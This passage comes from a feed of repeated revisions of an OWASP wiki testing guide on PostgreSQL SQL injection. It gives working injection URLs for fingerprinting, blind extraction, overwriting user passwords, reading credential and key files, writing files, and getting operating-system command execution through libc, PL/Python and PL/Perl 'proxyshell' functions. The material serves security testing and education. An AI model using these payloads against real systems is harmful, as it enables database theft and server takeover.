/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on a database:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* OWASP : [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
* Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86722</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86722"/>
				<updated>2010-07-20T14:16:29Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this section, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following characteristics:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifying PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take into consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).&lt;br /&gt;
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
* chr(n): Returns the character whose ASCII value corresponds to the number n&lt;br /&gt;
* ascii(n): Returns the ASCII value which corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieves a row at a time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on a database:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* OWASP : [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
* Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86721</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86721"/>
				<updated>2010-07-20T14:15:01Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: clarified the comments on pg_sleep in the Blind Injection section.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this section, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following characteristics:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifying PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take into consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]].&lt;br /&gt;
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
* chr(n): Returns the character whose ASCII value corresponds to the number n&lt;br /&gt;
* ascii(n): Returns the ASCII value which corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieves a row at a time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
